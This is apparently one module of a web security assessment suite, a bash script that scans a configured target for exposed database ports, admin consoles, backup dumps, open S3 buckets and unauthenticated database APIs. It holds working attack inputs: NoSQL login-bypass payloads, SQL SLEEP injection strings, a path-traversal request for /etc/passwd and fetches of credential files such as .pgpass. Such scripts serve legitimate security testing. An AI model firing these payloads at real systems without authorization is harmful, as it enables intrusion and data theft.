#!/bin/bash
# 27 - Database & Storage Security
# Tests: DB port exposure, default creds, admin UI exposure, NoSQL injection,
#        backup/dump files, object storage misconfig, encryption-at-rest indicators,
#        query timing inference, audit logging completeness

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/../config.sh"

OUT_FILE="$OUT/27_database_storage.txt"
echo "=== 27. Database & Storage Security ===" | tee "$OUT_FILE"
echo "Target: $TARGET  API: $API_TARGET" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"

HOST=$(echo "$TARGET" | sed 's|https\?://||' | cut -d/ -f1)
IP=$(dig +short "$HOST" | grep -oP '^\d+\.\d+\.\d+\.\d+$' | head -1)
[ -z "$IP" ] && IP="$HOST"
echo "Resolved $HOST → $IP" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"

do_port() {
  local label="$1"; local port="$2"
  if timeout 3 bash -c "echo >/dev/tcp/$IP/$port" 2>/dev/null; then
    printf '[OPEN]   %s (port %s)  ← EXPOSED\n' "$label" "$port" | tee -a "$OUT_FILE"
  else
    printf '[CLOSED] %s (port %s)\n' "$label" "$port" | tee -a "$OUT_FILE"
  fi
}

do_test() {
  local label="$1"; shift
  local code
  code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 "$@")
  printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
}

do_body() {
  local label="$1"; local pattern="$2"; shift 2
  local body code
  body=$(curl -sk --max-time 8 "$@")
  code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 "$@")
  printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
  if [ -n "$pattern" ] && echo "$body" | grep -qiE "$pattern"; then
    echo "    [WARN] Pattern matched: $(echo "$body" | grep -ioE "$pattern" | head -2 | tr '\n' ' ')" | tee -a "$OUT_FILE"
  fi
}

# ── 1. Database Port Exposure ──────────────────────────────────────────────────
echo "--- Database Port Exposure ---" | tee -a "$OUT_FILE"
do_port "PostgreSQL"          5432
do_port "MySQL / MariaDB"     3306
do_port "MongoDB"             27017
do_port "Redis"               6379
do_port "Elasticsearch"       9200
do_port "Elasticsearch (9300)" 9300
do_port "CouchDB"             5984
do_port "Cassandra"           9042
do_port "InfluxDB"            8086
do_port "Neo4j"               7474
do_port "MSSQL"               1433
do_port "Oracle"              1521
do_port "ClickHouse HTTP"     8123
do_port "ClickHouse native"   9000
do_port "Memcached"           11211
echo "" | tee -a "$OUT_FILE"

# ── 2. Database Admin UI Exposure ─────────────────────────────────────────────
echo "--- Database Admin Interfaces ---" | tee -a "$OUT_FILE"
do_test "phpMyAdmin /phpmyadmin/" -A "$BROWSER_UA" "$TARGET/phpmyadmin/"
do_test "phpMyAdmin /pma/" -A "$BROWSER_UA" "$TARGET/pma/"
do_test "pgAdmin /pgadmin/" -A "$BROWSER_UA" "$TARGET/pgadmin/"
do_test "pgAdmin /pgadmin4/" -A "$BROWSER_UA" "$TARGET/pgadmin4/"
do_test "Adminer /adminer.php" -A "$BROWSER_UA" "$TARGET/adminer.php"
do_test "Adminer /adminer/" -A "$BROWSER_UA" "$TARGET/adminer/"
do_test "MongoDB Express :8081" "http://$IP:8081/"
do_test "Redis Commander :8081" "http://$IP:8081/redis"
do_test "RedisInsight :8001" "http://$IP:8001/"
do_test "Elasticsearch Kibana :5601" "http://$IP:5601/"
do_test "InfluxDB UI :8086" "http://$IP:8086/signin"
do_test "Neo4j Browser :7474" "http://$IP:7474/browser/"
do_test "CouchDB /_utils Fauxton" "http://$IP:5984/_utils/"
do_test "ClickHouse play UI" "http://$IP:8123/play"
echo "" | tee -a "$OUT_FILE"

# ── 3. Unauthenticated DB HTTP APIs ───────────────────────────────────────────
echo "--- Unauthenticated DB HTTP API Access ---" | tee -a "$OUT_FILE"
do_body "Elasticsearch cluster health" '"cluster_name"\|"status"' "http://$IP:9200/_cluster/health"
do_body "Elasticsearch indices" '"health"\|"index"' "http://$IP:9200/_cat/indices?v"
do_body "Elasticsearch mappings" '"properties"' "http://$IP:9200/_mapping"
do_body "CouchDB server info" '"couchdb"' "http://$IP:5984/"
do_body "CouchDB all databases" '\[' "http://$IP:5984/_all_dbs"
do_body "InfluxDB databases" '"results"' "http://$IP:8086/query?q=SHOW+DATABASES"
do_body "MongoDB (wire proto probe)" '.' -X POST -H 'Content-Type: application/octet-stream' \
  -d $'\x3d\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd4\x07\x00\x00\x00\x00\x00\x00' \
  "http://$IP:27017/"
echo "" | tee -a "$OUT_FILE"

# ── 4. NoSQL Injection via API ────────────────────────────────────────────────
echo "--- NoSQL Injection ---" | tee -a "$OUT_FILE"
# MongoDB operator injection
NOSQL_PAYLOADS=(
  '{"username":{"$gt":""},"password":{"$gt":""}}'
  '{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}'
  '{"username":{"$regex":".*"},"password":{"$regex":".*"}}'
  '{"username":{"$where":"1==1"}}'
  '{"$or":[{"username":"admin"},{"username":"root"}],"password":{"$ne":""}}'
)
for PAYLOAD in "${NOSQL_PAYLOADS[@]}"; do
  code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 \
    -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
    -d "$PAYLOAD" "$API_TARGET/encrypt")
  printf '[%s] NoSQL injection: %s\n' "$code" "${PAYLOAD:0:50}..." | tee -a "$OUT_FILE"
done
echo "" | tee -a "$OUT_FILE"

# ── 5. Database Backup / Dump File Exposure ───────────────────────────────────
echo "--- Database Backup & Dump Exposure ---" | tee -a "$OUT_FILE"
DB_FILES=(
  "/backup.sql"
  "/dump.sql"
  "/db.sql"
  "/database.sql"
  "/${PROJECT_NAME}.sql"
  "/${PROJECT_NAME}_backup.sql"
  "/db_backup.sql"
  "/db_dump.sql"
  "/data.sql"
  "/schema.sql"
  "/backup.sql.gz"
  "/dump.sql.gz"
  "/db.sql.gz"
  "/backup.tar.gz"
  "/db_backup.tar.gz"
  "/backup/"
  "/backups/"
  "/db/"
  "/database/"
  "/data/"
  "/exports/"
  "/mysqldump.sql"
  "/pgdump.sql"
  "/mongo_dump/"
  "/.pgpass"
  "/.my.cnf"
  "/db.sqlite"
  "/database.sqlite"
  "/db.sqlite3"
  "/app.db"
)
FOUND_ANY=0
for DB_FILE in "${DB_FILES[@]}"; do
  code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$TARGET$DB_FILE")
  if [ "$code" = "200" ]; then
    printf '    [200] %s  ← EXPOSED\n' "$DB_FILE" | tee -a "$OUT_FILE"
    FOUND_ANY=1
  fi
done
[ "$FOUND_ANY" -eq 0 ] && echo "    [OK] No database backup files exposed" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"

# ── 6. Object Storage Misconfiguration ───────────────────────────────────────
echo "--- Object Storage (S3 / GCS / Azure Blob) ---" | tee -a "$OUT_FILE"
HOST_BASE=$(echo "$HOST" | sed 's/^www\.//' | sed 's/\./\-/g')
S3_VARIANTS=(
  "${PROJECT_NAME}"
  "${PROJECT_NAME}-backup"
  "${PROJECT_NAME}-data"
  "${PROJECT_NAME}-uploads"
  "${PROJECT_NAME}-assets"
  "${PROJECT_NAME}-db"
  "${PROJECT_NAME}-logs"
  "${PROJECT_NAME}-static"
)
for BUCKET in "${S3_VARIANTS[@]}"; do
  code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 "https://$BUCKET.s3.amazonaws.com/")
  body=$(curl -sk --max-time 8 "https://$BUCKET.s3.amazonaws.com/")
  if echo "$body" | grep -q 'ListBucketResult'; then
    printf '    [OPEN] S3 bucket publicly listable: %s\n' "$BUCKET" | tee -a "$OUT_FILE"
  elif [ "$code" = "403" ]; then
    printf '    [403]  S3 bucket exists (private): %s\n' "$BUCKET" | tee -a "$OUT_FILE"
  else
    printf '    [%s]  S3: %s\n' "$code" "$BUCKET" | tee -a "$OUT_FILE"
  fi
done
echo "" | tee -a "$OUT_FILE"

# ── 7. Encryption-at-Rest & Key Rotation Indicators ──────────────────────────
echo "--- Encryption-at-Rest / Key Rotation Signals ---" | tee -a "$OUT_FILE"
# Check if API exposes any key metadata
API_STATUS=$(curl -sk -A "$BROWSER_UA" --max-time 8 "$API_TARGET/status" 2>/dev/null)
for FIELD in encryption_at_rest key_rotation key_version last_rotated kms_key_id vault_transit; do
  if echo "$API_STATUS" | grep -qi "\"$FIELD\""; then
    echo "    Key metadata field '$FIELD' in API response" | tee -a "$OUT_FILE"
  fi
done
echo "    [OK] Encryption-at-rest field scan complete" | tee -a "$OUT_FILE"

# Check if database connection info leaks in error responses
TIMING_LEAK=$(curl -sk -A "$BROWSER_UA" --max-time 8 \
  -X POST -H 'Content-Type: application/json' \
  -d '{"data":"'"$(python3 -c "print('x'*50000)")"'"}' \
  "$API_TARGET/encrypt" 2>/dev/null)
if echo "$TIMING_LEAK" | grep -qiE '(pgsql|postgres|mysql|mongodb|redis|connection refused|SQLSTATE)'; then
  echo "    [WARN] DB connection info in oversized payload error" | tee -a "$OUT_FILE"
else
  echo "    [OK] No DB connection details in error responses" | tee -a "$OUT_FILE"
fi
echo "" | tee -a "$OUT_FILE"

# ── 8. SQL Timing Inference on Non-API Endpoints ──────────────────────────────
echo "--- SQL Timing Inference (non-API endpoints) ---" | tee -a "$OUT_FILE"
# SLEEP-based timing on different PHP endpoints
do_sleep_test() {
  local label="$1"; local url="$2"; local payload="$3"
  local t_start t_end elapsed
  t_start=$(python3 -c "import time; print(int(time.time()*1000))")
  curl -sk -o /dev/null --max-time 12 -A "$BROWSER_UA" \
    -X POST -H 'Content-Type: application/x-www-form-urlencoded' \
    -d "$payload" "$url" 2>/dev/null
  t_end=$(python3 -c "import time; print(int(time.time()*1000))")
  elapsed=$(python3 -c "print($t_end - $t_start)")
  if [ "$elapsed" -gt 4500 ]; then
    printf '    [TIMING-VULN] %s — %dms  ← SLEEP SUCCEEDED\n' "$label" "$elapsed" | tee -a "$OUT_FILE"
  else
    printf '    [OK] %s — %dms\n' "$label" "$elapsed" | tee -a "$OUT_FILE"
  fi
}
do_sleep_test "Admin login SLEEP injection" "$TARGET/admin/" \
  "username=admin'%3BSELECT+SLEEP(5)--&password=test"
do_sleep_test "Contact form SLEEP injection" "$TARGET/contact/" \
  "email=test'%3BSELECT+SLEEP(5)--&message=test"
do_sleep_test "Search SLEEP injection" "$TARGET/" \
  "q=test'%3BSELECT+SLEEP(5)--"
echo "" | tee -a "$OUT_FILE"

# ── 9. Audit Logging Completeness ─────────────────────────────────────────────
echo "--- Audit Logging Completeness Check ---" | tee -a "$OUT_FILE"
# Verify that clearly malicious requests are being logged (inferred via response consistency)
W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip(), safe=''))"; }
AUDIT_URL_1="$TARGET/?q=$(W "1' OR 1=1--")"
AUDIT_URL_2="$TARGET/?q=$(W "<script>alert(1)</script>")"
AUDIT_URL_3="$TARGET/$(W "../../../../etc/passwd")"
AUDIT_URL_4="$TARGET/admin/?attempt=brute"
AUDIT_CHECKS=(
  "SQL in query param:$AUDIT_URL_1"
  "XSS in param:$AUDIT_URL_2"
  "Path traversal:$AUDIT_URL_3"
  "Admin brute force:$AUDIT_URL_4"
)
for CHECK in "${AUDIT_CHECKS[@]}"; do
  LABEL="${CHECK%%:*}"
  URL="${CHECK#*:}"
  code=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$URL")
  printf '    [%s] %s — proxy returned %s (should be 403 for attack)\n' \
    "$( [ "$code" = "403" ] && echo "OK" || echo "WARN" )" "$LABEL" "$code" | tee -a "$OUT_FILE"
done
echo "" | tee -a "$OUT_FILE"

# ── 10. Row-Level Security Bypass via API ─────────────────────────────────────
echo "--- Row-Level Security / Data Isolation ---" | tee -a "$OUT_FILE"
# Try to access other users' data by manipulating IDs
do_test "IDOR: user ID 0 (admin?)" \
  -A "$BROWSER_UA" "$API_TARGET/users/0"
do_test "IDOR: user ID 1" \
  -A "$BROWSER_UA" "$API_TARGET/users/1"
do_test "IDOR: negative ID" \
  -A "$BROWSER_UA" "$API_TARGET/users/-1"
do_test "IDOR: UUID zero" \
  -A "$BROWSER_UA" "$API_TARGET/users/00000000-0000-0000-0000-000000000000"
do_test "IDOR: large integer overflow" \
  -A "$BROWSER_UA" "$API_TARGET/users/9999999999"
do_test "Keys endpoint without auth" \
  -A "$BROWSER_UA" "$API_TARGET/keys"
do_test "Vault endpoint without auth" \
  -A "$BROWSER_UA" "$API_TARGET/vault"
do_test "Analytics endpoint without auth" \
  -A "$BROWSER_UA" "$API_TARGET/analytics"
echo "" | tee -a "$OUT_FILE"

echo "=== 27. Database & Storage Security COMPLETE ===" | tee -a "$OUT_FILE"